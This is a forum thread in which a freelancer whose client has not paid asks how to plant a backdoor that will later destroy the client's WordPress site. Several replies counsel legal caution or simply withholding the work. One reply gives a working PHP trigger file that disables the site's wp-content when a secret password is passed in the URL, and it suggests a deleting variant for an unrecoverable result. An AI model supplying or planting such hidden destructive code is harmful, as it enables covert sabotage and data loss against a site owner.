hey, I have a customer who is a little weird. We have agreed on a prepayment, but I have already started with the website and am also finished with the design so far. Now the prepayment is still not there and I sent him today again a reminder for the deposit, now he does not write me back. Can also be that the guy is just a little chaotic, but I have a bad feeling.
​
I still have access to the wordpress website and I read somewhere, in some reddit post, that there is something like a backdoor code that I can embed and then destroy the website after x days. Anybody has any idea?
[ad_2]
You control the passwords. Nuff said.
Install a “Coming Soon” plugin like “CMP” until payment is made.
“Can also be that the guy is just a little chaotic, but I have a bad feeling.”
Then take your work back and walk away.
He’s not a client.
Simple, just put some php file in the root folder like so “[https://example.com/testes.php?pw=my-super-secret-password]”:
`<?php`
`if ($_GET[‘pw’] === ‘my-super-secret-password’) { rename(realpath(dirname(__FILE__)).’/wp-content’,realpath(dirname(__FILE__)).’/tempcontent’); }`
Everything is still there, he just don’t know it’s there. You can come in to fix it later. If you want to be malicious/unrecoverable, then just change rename to delete entire wp-content folder glob (look up how to do glob entire folder and delete online). Make sure you test it first to be sure it work. And backup before you do the tests.
If you agreed to prepayment, why did you start work without?
> customer who is a little weird.
Do you have a contract that says you can take down his site for non-payment?
I’m betting you don’t, and if you do it without legally covering your ass you are begging for the client to take you to court. Is the ~~site~~ money worth the hassle?
In the end I think all you can do is remove your work and return the site to its prior state and if he has a backup you’re probably out of luck.
Develop locally – only transfer to customers server when finished and paid.